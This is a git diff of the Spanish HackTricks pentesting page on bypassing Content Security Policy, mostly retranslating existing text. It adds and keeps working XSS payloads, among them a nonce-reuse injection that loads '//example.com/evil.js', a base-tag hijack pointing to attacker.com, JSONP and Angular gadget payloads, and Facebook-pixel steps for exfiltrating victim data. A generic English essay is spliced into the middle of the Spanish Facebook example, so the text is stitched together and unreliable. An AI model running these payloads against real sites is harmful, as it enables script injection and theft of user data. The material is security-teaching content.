diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md
index 66914bbaa..86663c81a 100644
--- a/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -9,37 +9,37 @@ Otras formas de apoyar a HackTricks:
 * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
 * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
 <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
+Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
 
 **Perspectivas de Hacking**\
-Involúcrate con contenido que explora la emoción y desafíos del hacking
+Participa en contenido que explora la emoción y los desafíos del hacking.
 
 **Noticias de Hacking en Tiempo Real**\
-Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
+Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
 
 **Últimos Anuncios**\
-Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
+Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas.
 
-**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
+**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
 
 ## ¿Qué es CSP?
 
-La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando los caminos y fuentes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
+La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos incluyen una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
 
 La implementación de CSP se realiza a través de **encabezados de respuesta** o mediante la incorporación de **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
 
-- Implementado a través de encabezado de respuesta:
+* Implementado a través de encabezado de respuesta:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Implementado a través de la etiqueta meta:
+* Implementado a través de la etiqueta meta:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
@@ -66,49 +66,63 @@ object-src 'none';
 ```
 ### Directivas
 
-* **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea, y scripts activados por manejadores de eventos o hojas de estilo XSLT.
-* **default-src**: Establece una política predeterminada para obtener recursos cuando las directivas de obtención específicas están ausentes.
-* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido de marcos incrustados.
-* **connect-src**: Restringe las URLs que pueden cargarse utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
+* **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por manejadores de eventos o hojas de estilo XSLT.
+* **default-src**: Establece una política predeterminada para la obtención de recursos cuando las directivas de obtención específicas están ausentes.
+* **child-src**: Especifica los recursos permitidos para los trabajadores web y el contenido incrustado de marcos.
+* **connect-src**: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.
 * **frame-src**: Restringe las URLs para marcos.
-* **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>`, y `<applet>`.
+* **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` y `<applet>`.
 * **img-src**: Define las fuentes permitidas para imágenes.
 * **font-src**: Especifica fuentes válidas para fuentes cargadas usando `@font-face`.
-* **manifest-src**: Define las fuentes permitidas de archivos de manifiesto de aplicaciones.
+* **manifest-src**: Define las fuentes permitidas de archivos de manifiesto de la aplicación.
 * **media-src**: Define las fuentes permitidas para cargar objetos multimedia.
-* **object-src**: Define las fuentes permitidas para los elementos `<object>`, `<embed>`, y `<applet>`.
+* **object-src**: Define las fuentes permitidas para los elementos `<object>`, `<embed>` y `<applet>`.
 * **base-uri**: Especifica las URLs permitidas para cargar usando elementos `<base>`.
 * **form-action**: Enumera los puntos finales válidos para envíos de formularios.
 * **plugin-types**: Restringe los tipos MIME que una página puede invocar.
 * **upgrade-insecure-requests**: Instruye a los navegadores a reescribir las URLs HTTP a HTTPS.
 * **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`.
 * **report-to**: Especifica un grupo al cual se enviará un informe si se viola la política.
-* **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker, o ServiceWorker.
+* **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
 * **prefetch-src**: Especifica fuentes válidas para recursos que se obtendrán o precargados.
 * **navigate-to**: Restringe las URLs a las cuales un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)
 
-
 ### Fuentes
 
 * `*`: Permite todas las URLs excepto aquellas con esquemas `data:`, `blob:`, `filesystem:`.
 * `'self'`: Permite la carga desde el mismo dominio.
-* `'data'`: Permite que los recursos se carguen a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
+* `'data'`: Permite cargar recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
 * `'none'`: Bloquea la carga desde cualquier fuente.
 * `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad.
 * `'unsafe-hashes'`: Habilita manejadores de eventos en línea específicos.
 * `'unsafe-inline'`: Permite el uso de recursos en línea como `<script>` o `<style>` en línea, no recomendado por razones de seguridad.
-* `'nonce'`: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).
-* `'sha256-<hash>'`: Lista blanca de scripts con un hash sha256 específico.
-* `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si ha sido listado en una lista blanca por un nonce o hash.
-* `'host'`: Especifica un host específico, como `example.com`.
-* `https:`: Restringe las URLs a aquellas que usan HTTPS.
-* `blob:`: Permite que los recursos se carguen desde URLs de Blob (por ejemplo, URLs de Blob creadas mediante JavaScript).
-* `filesystem:`: Permite que los recursos se carguen desde el sistema de archivos.
-* `'report-sample'`: Incluye una muestra del código que viola en el informe de violación (útil para depuración).
-* `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo los orígenes seguros pueden cargar recursos desde orígenes seguros).
-* `'strict-origin-when-cross-origin'`: Envía URLs completas al hacer solicitudes del mismo origen pero solo envía el origen cuando la solicitud es de origen cruzado.
-* `'unsafe-allow-redirects'`: Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No recomendado ya que debilita la seguridad.
+* `'nonce'`: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número usado una vez).
+* Si tiene una ejecución de JS limitada, es posible obtener un nonce utilizado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
 
+<details>
+
+<summary>Cargar script reutilizando nonce</summary>
+```html
+<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
+<img src=x ng-on-error='
+doc=$event.target.ownerDocument;
+a=doc.defaultView.top.document.querySelector("[nonce]");
+b=doc.createElement("script");
+b.src="//example.com/evil.js";
+b.nonce=a.nonce; doc.body.appendChild(b)'>
+```
+</details>
+
+* `'sha256-<hash>'`: Lista blanca de scripts con un hash sha256 específico.
+* `'strict-dynamic'`: Permite cargar scripts desde cualquier fuente si ha sido incluido en una lista blanca por un nonce o hash.
+* `'host'`: Especifica un host específico, como `example.com`.
+* `https:`: Restringe las URL a aquellas que utilizan HTTPS.
+* `blob:`: Permite cargar recursos desde URL de Blob (por ejemplo, URL de Blob creadas mediante JavaScript).
+* `filesystem:`: Permite cargar recursos desde el sistema de archivos.
+* `'report-sample'`: Incluye una muestra del código que viola la política en el informe de violación (útil para depurar).
+* `'strict-origin'`: Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo las fuentes seguras pueden cargar recursos desde fuentes seguras).
+* `'strict-origin-when-cross-origin'`: Envía URLs completas al realizar solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.
+* `'unsafe-allow-redirects'`: Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.
 
 ## Reglas CSP Inseguras
 
@@ -128,7 +142,7 @@ Carga útil de trabajo: `"/><script>alert(1);</script>`
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
-Carga de trabajo en funcionamiento:
+Carga de trabajo funcional:
 ```html
 <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
 ```
@@ -148,7 +162,7 @@ Carga de trabajo funcional:
 ### Falta de object-src y default-src
 
 {% hint style="danger" %}
-**Parece que esto ya no funciona**
+**Parece que esto ya no está funcionando**
 {% endhint %}
 ```yaml
 Content-Security-Policy: script-src 'self' ;
@@ -163,17 +177,17 @@ Cargas de trabajo funcionales:
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-Si puedes subir un archivo JS puedes evadir esta CSP:
+Si puedes subir un archivo JS puedes evadir este CSP:
 
 Payload funcional:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Sin embargo, es altamente probable que el servidor esté **validando el archivo cargado** y solo te permitirá **cargar un tipo específico de archivos**.
+Sin embargo, es altamente probable que el servidor esté **validando el archivo cargado** y solo te permitirá **subir un tipo determinado de archivos**.
 
-Además, incluso si pudieras cargar un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", existen errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
+Además, incluso si pudieras subir un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo basado en la extensión** y los navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que **Apache no reconoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
 
-A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión mal interpretada**, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota ([algunos ejemplos de políglotas aquí](https://github.com/Polydet/polyglot-database)).
+A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crea un políglota ([algunos ejemplos de políglotas aquí](https://github.com/Polydet/polyglot-database)).
 
 ### Puntos finales de terceros + ('unsafe-eval')
 
@@ -204,7 +218,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 {% hint style="info" %}
 La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca, y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**.
@@ -232,7 +246,7 @@ La publicación muestra que podrías **cargar** todas las **bibliotecas** desde
 {{[].erase.call().alert('xss')}}
 </div>
 ```
-#### Abusando del código JS de Google reCAPTCHA
+#### Abusando del código JS de google recaptcha
 
 Según [**este informe de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) puedes abusar de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:
 ```html
@@ -245,7 +259,22 @@ ng-init="c.init()"
 
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 ```
-### Puntos finales de terceros + JSONP
+Más [**cargas útiles de este informe**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+```html
+<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
+
+<!-- Trigger alert -->
+<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
+
+<!-- Reuse nonce -->
+<img src=x ng-on-error='
+doc=$event.target.ownerDocument;
+a=doc.defaultView.top.document.querySelector("[nonce]");
+b=doc.createElement("script");
+b.src="//example.com/evil.js";
+b.nonce=a.nonce; doc.body.appendChild(b)'>
+```
+### Endpoints de Terceros + JSONP
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
@@ -264,18 +293,19 @@ https://www.youtube.com/oembed?callback=alert;
 La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones también lo son.
 
 ### Abusos de Terceros
+
 Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que pueden estar permitidos en alguna parte de la CSP y pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
 
-| Entidad | Dominio Permitido | Capacidades |
-|--------|----------------|--------------|
-| Facebook | www.facebook.com, *.facebook.com | Exfil |
-| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
-| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
-| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
-| Amazon AWS | *.amazonaws.com | Exfil, Exec |
-| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
-| Salesforce Heroku	| *.herokuapp.com | Exfil, Exec |
-| Google Firebase | *.firebaseapp.com | Exfil, Exec |
+| Entidad            | Dominio Permitido                            | Capacidades |
+| ----------------- | -------------------------------------------- | ------------ |
+| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
+| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
+| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
+| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
+| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 
 Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es posible que puedas eludir la CSP registrándote en el servicio de terceros y, ya sea exfiltrar datos a ese servicio o ejecutar código.
 
@@ -283,39 +313,42 @@ Por ejemplo, si encuentras la siguiente CSP:
 ```
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
-# Bypassing Content Security Policy (CSP)
+### Bypassing Content Security Policy (CSP)
 
-## Introduction
+---
 
-Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
+#### Introduction
 
-In this guide, we will explore various techniques that can be used to bypass Content Security Policy (CSP) protections.
+Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, misconfigurations or weaknesses in the CSP implementation can sometimes be exploited by attackers to bypass these security controls.
 
-## Table of Contents
+#### Bypassing CSP using `unsafe-inline`
 
-- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
-- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
-- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
-- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
-- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
-- [Bypassing CSP with Trusted Types](bypassing-csp-trusted-types.md)
+One common way to bypass CSP is by exploiting the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which are otherwise blocked by a strict CSP policy. Attackers can leverage this to execute their malicious code within the context of the vulnerable web application.
 
-## Conclusion
+#### Bypassing CSP using Data URI
 
-By understanding how Content Security Policy (CSP) works and the potential bypass techniques, security professionals can better assess the security posture of web applications and implement appropriate defenses to protect against code injection attacks.
+Another technique to bypass CSP is by using Data URI. By encoding the malicious script or style into a Data URI format, attackers can include it in the web page without triggering the CSP violation. This method can be effective in scenarios where `unsafe-inline` is disabled, but Data URI is allowed.
+
+#### Bypassing CSP using Trusted Types
+
+Trusted Types is a feature that helps prevent DOM-based XSS attacks by enforcing a strong policy for the types of values that can be assigned to certain DOM properties. However, in some cases, attackers can bypass CSP by finding ways to disable or circumvent Trusted Types, allowing them to execute their malicious payloads.
+
+#### Conclusion
+
+Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is crucial for developers to configure and implement CSP correctly to avoid misconfigurations that could be exploited by attackers. Regular security assessments and testing can help identify and address any weaknesses in the CSP implementation before they can be leveraged for malicious purposes.
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
-Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigues estos pasos generales:
+Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigue estos pasos generales:
 
 1. Crea una cuenta de desarrollador en Facebook aquí.
-1. Crea una nueva aplicación de "Facebook Login" y selecciona "Sitio web".
-1. Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".
-1. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "customEvent" y la carga de datos.
-1. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos se puede encontrar en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
-1. Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.
+2. Crea una nueva aplicación de "Inicio de sesión de Facebook" y selecciona "Sitio web".
+3. Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".
+4. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "evento personalizado" y la carga de datos.
+5. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos se puede encontrar en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
+6. Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.
 
-Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook y apuntar a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emitir un evento personalizado como este:
+Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para que apunte a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emita un evento personalizado como este:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
@@ -352,8 +385,8 @@ Ejemplo en línea: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
 
 Si falta la directiva **base-uri** se puede abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
 
-Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, se puede abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS**.\
-Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
+Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, se puede abusar de la **etiqueta base** para hacer que se **cargue** el script desde **tu propio servidor logrando un XSS.**\
+Si la página vulnerable se carga con **httpS**, utiliza una URL de httpS en la base.
 ```html
 <base href="https://www.attacker.com/">
 ```
@@ -374,8 +407,7 @@ Este fragmento destaca el uso de la directiva `ng-focus` para desencadenar el ev
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Un CSP policy que lista en blanco los dominios para la carga de scripts en una aplicación Angular JS puede ser evadido a través de la invocación de funciones de devolución de llamada y ciertas clases vulnerables. Puede encontrar más información sobre esta técnica en una guía detallada disponible en este [repositorio de git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
-
+Un CSP policy que lista dominios para la carga de scripts en una aplicación Angular JS puede ser evadido a través de la invocación de funciones de devolución de llamada y ciertas clases vulnerables. Puede encontrar más información sobre esta técnica en una guía detallada disponible en este [repositorio de git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
 
 Cargas útiles funcionales:
 ```html
@@ -393,7 +425,7 @@ Otras endpoints de ejecución arbitraria JSONP se pueden encontrar [**aquí**](h
 
 Sin embargo, según la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a una ruta diferente, puede eludir las restricciones originales.
 
-Aquí tienes un ejemplo:
+Aquí hay un ejemplo:
 ```html
 <!DOCTYPE html>
 <html>
@@ -411,11 +443,11 @@ Aquí tienes un ejemplo:
 ```
 Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
 
-Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y el **script puede cargarse**, evitando así la restricción de la ruta.
+Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, la **ruta no se considera**, y el **script puede cargarse**, evitando así la restricción de la ruta.
 
 Con esta redirección, incluso si se especifica completamente la ruta, seguirá siendo evitada.
 
-Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abiertas y de que no haya dominios que puedan ser explotados en las reglas de CSP.
+Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abierta y de que no haya dominios que puedan ser explotados en las reglas de CSP.
 
 ### Bypass CSP con marcado colgante
 
@@ -425,7 +457,7 @@ Lee [cómo aquí](../dangling-markup-html-scriptless-injection/).
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que se puede usar en la página web cualquier imagen de cualquier recurso.
+`'unsafe-inline'` significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) e `img-src *` significa que se pueden usar en la página web cualquier imagen de cualquier recurso.
 
 Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):
 ```javascript
@@ -433,7 +465,7 @@ Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta oca
 ```
 De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-También se podría abusar de esta configuración para **cargar código JavaScript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar del "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+También podrías abusar de esta configuración para **cargar código JavaScript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar del "**unsafe-inline**" para **ejecutar** un código JS (como un XSS regular) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Con Service Workers
 
@@ -449,7 +481,7 @@ La función **`importScripts`** de los service workers no está limitada por CSP
 
 #### Chrome
 
-Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **permitir script 'unsafe-inline'** con cualquiera de estos bypasses:
+Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **permitir scripts 'unsafe-inline'** con cualquiera de estos bypasses:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@@ -459,15 +491,15 @@ Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge\_csp\_injec
 
 #### Edge
 
-En Edge es mucho más simple. Si puedes agregar en el CSP esto: **`;_`** **Edge** **descartaría** toda la **política**.\
+En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **descartaría** toda la **política**.\
 Ejemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
 
 ### img-src \*; a través de XSS (iframe) - Ataque de tiempo
 
 Observa la falta de la directiva `'unsafe-inline'`\
-Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar** puedes extraer la información que necesitas.
+Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargarse** puedes extraer la información que necesitas.
 
-Esta vez se va a extraer una **bandera**, cada vez que se adivine correctamente un **carácter a través de SQLi** la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
